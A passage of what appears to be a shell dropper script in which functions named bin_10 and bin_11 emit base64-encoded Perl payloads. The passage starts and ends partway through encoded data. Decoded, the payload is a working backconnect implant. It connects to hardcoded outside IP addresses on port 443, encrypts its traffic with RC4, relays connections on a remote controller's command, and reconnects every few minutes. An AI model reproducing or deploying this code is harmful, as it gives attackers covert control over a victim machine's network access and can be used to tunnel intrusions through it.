Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_10() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTAnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_11() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjknOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg 